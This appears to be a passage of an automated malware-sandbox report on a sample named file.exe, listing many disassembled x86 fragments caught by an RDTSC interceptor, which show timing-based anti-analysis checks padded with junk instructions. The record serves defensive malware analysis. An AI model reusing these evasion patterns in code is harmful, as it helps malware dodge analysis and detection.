Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A5CA second address: D4A5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F5930BD337Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A5E0 second address: D4A5E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C961 second address: D4C967 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C967 second address: D4C97D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F5930C603FBh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C97D second address: D4C987 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5930BD3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4C987 second address: D4C9B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C60406h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F5930C6040Eh 0x0000000f push edi 0x00000010 jne 00007F5930C603F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D507F3 second address: D507F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D507F9 second address: D5081F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FEh 0x00000007 jns 00007F5930C603F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 je 00007F5930C603F6h 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5081F second address: D50829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5930BD3376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50829 second address: D5082D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5082D second address: D5084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F5930BD3383h 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D509E3 second address: D50A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C60409h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D50A04 second address: D50A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553A9 second address: D553AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553AD second address: D553B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553B3 second address: D553B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553B9 second address: D553BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553BE second address: D553D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930C60402h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553D6 second address: D553E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F5930BD3376h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553E5 second address: D553E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D553E9 second address: D553EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5694A second address: D5695D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5930C603F6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5695D second address: D56982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F5930BD3376h 0x0000000d jmp 00007F5930BD3388h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A9D9 second address: D6A9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6A9E2 second address: D6A9E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69530 second address: D6953A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5930C603FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6953A second address: D69549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jo 00007F5930BD3382h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D697F2 second address: D697FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D697FC second address: D69813 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5930BD3376h 0x00000008 jg 00007F5930BD3376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69813 second address: D69817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69817 second address: D69823 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69823 second address: D69827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69827 second address: D6982B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6982B second address: D69831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69B5F second address: D69B69 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5930BD3376h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69CE2 second address: D69CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5930C603F6h 0x0000000a popad 0x0000000b jbe 00007F5930C60402h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69CF5 second address: D69CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DD67 second address: D6DD71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DD71 second address: D6DD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D703C2 second address: D703DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5930C603F6h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F5930C603F6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D703DC second address: D703FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD3384h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5930BD337Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80446 second address: D8044C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8044C second address: D8045C instructions: 0x00000000 rdtsc 0x00000002 js 00007F5930BD3382h 0x00000008 jnc 00007F5930BD3376h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8045C second address: D80466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80466 second address: D80480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5930BD337Eh 0x00000009 jne 00007F5930BD3376h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80480 second address: D80494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F5930C603FCh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C44E second address: D8C464 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5930BD337Ch 0x00000008 jbe 00007F5930BD3376h 0x0000000e je 00007F5930BD337Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C317 second address: D8C31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C31C second address: D8C323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E35E second address: D8E364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E364 second address: D8E368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E368 second address: D8E378 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5930C603F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E378 second address: D8E37C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E013 second address: D8E024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5930C603FCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6AFB second address: DA6B13 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5930BD3376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F5930BD337Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6B13 second address: DA6B32 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5930C60407h 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6B32 second address: DA6B36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F13 second address: DA6F23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F5930C6040Eh 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F23 second address: DA6F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA6F29 second address: DA6F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7204 second address: DA7209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA780B second address: DA7810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA7810 second address: DA782C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F5930BD337Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA782C second address: DA7836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5930C603F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA3A6 second address: DAA3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA3AA second address: DAA3B4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5930C603F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA3B4 second address: DAA3DB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F5930BD338Ch 0x00000011 jmp 00007F5930BD3386h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA3DB second address: DAA3E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5930C603F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA47B second address: DAA48C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5930BD3378h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAA8ED second address: DAA8F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAD736 second address: DAD73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DAF30D second address: DAF313 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250332 second address: 525036D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007F5930BD337Eh 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov ecx, 4EC50F2Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 call 00007F5930BD3388h 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525036D second address: 5250371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250371 second address: 52503C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 jmp 00007F5930BD3387h 0x0000000e mov edx, dword ptr [ebp+0Ch] 0x00000011 jmp 00007F5930BD3386h 0x00000016 mov ecx, dword ptr [ebp+08h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F5930BD3387h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280417 second address: 5280448 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F5930C60409h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cx, di 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280448 second address: 5280476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930BD337Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F5930BD3386h 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280476 second address: 528047A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528047A second address: 5280480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280480 second address: 5280486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280486 second address: 528048A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528048A second address: 528050F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5930C603FDh 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 mov bx, EE08h 0x00000016 popad 0x00000017 push ebx 0x00000018 jmp 00007F5930C603FCh 0x0000001d mov dword ptr [esp], esi 0x00000020 pushad 0x00000021 call 00007F5930C603FEh 0x00000026 mov ax, DC81h 0x0000002a pop esi 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F5930C603FDh 0x00000032 or esi, 65165FD6h 0x00000038 jmp 00007F5930C60401h 0x0000003d popfd 0x0000003e mov edx, ecx 0x00000040 popad 0x00000041 popad 0x00000042 lea eax, dword ptr [ebp-04h] 0x00000045 jmp 00007F5930C603FAh 0x0000004a nop 0x0000004b pushad 0x0000004c mov eax, 70EB2B0Dh 0x00000051 push ecx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528050F second address: 528051F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a movzx ecx, di 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528051F second address: 5280538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5930C60405h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52805A7 second address: 52805AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280609 second address: 528060D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528060D second address: 5280613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280613 second address: 5280619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280619 second address: 528061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528061D second address: 5280621 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5280621 second address: 5270052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007F5930BD337Fh 0x0000000e retn 0004h 0x00000011 nop 0x00000012 cmp eax, 00000000h 0x00000015 setne al 0x00000018 xor ebx, ebx 0x0000001a test al, 01h 0x0000001c jne 00007F5930BD3377h 0x0000001e xor eax, eax 0x00000020 sub esp, 08h 0x00000023 mov dword ptr [esp], 00000000h 0x0000002a mov dword ptr [esp+04h], 00000000h 0x00000032 call 00007F593534C7B3h 0x00000037 mov edi, edi 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007F5930BD337Fh 0x00000040 and cl, FFFFFFEEh 0x00000043 jmp 00007F5930BD3389h 0x00000048 popfd 0x00000049 mov esi, 37CEAB77h 0x0000004e popad 0x0000004f xchg eax, ebp 0x00000050 jmp 00007F5930BD337Ah 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F5930BD337Eh 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5270052 second address: 527006B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5930C603FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 push eax 0x00000011 pop edi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527006B second address: 527017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5930BD337Fh 0x00000009 or ch, 0000000Eh 0x0000000c jmp 00007F5930BD3389h 0x00000011 popfd 0x00000012 mov si, 8D17h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F5930BD3388h 0x00000022 jmp 00007F5930BD3385h 0x00000027 popfd 0x00000028 jmp 00007F5930BD3380h 0x0000002d popad 0x0000002e push FFFFFFFEh 0x00000030 jmp 00007F5930BD3380h 0x00000035 push 3EF9FBA3h 0x0000003a jmp 00007F5930BD3381h 0x0000003f xor dword ptr [esp], 4B5765EBh 0x00000046 jmp 00007F5930BD337Eh 0x0000004b push 5D42F5A5h 0x00000050 pushad 0x00000051 jmp 00007F5930BD3387h 0x00000056 movzx eax, dx 0x00000059 popad 0x0000005a add dword ptr [esp], 186635CBh 0x00000061 pushad 0x00000062 call 00007F5930BD3381h 0x00000067 movzx esi, bx 0x0000006a pop edi 0x0000006b mov ebx, ecx 0x0000006d popad 0x0000006e mov eax, dword ptr fs:[00000000h] 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F5930BD337Eh 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527017B second address: 5270181 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
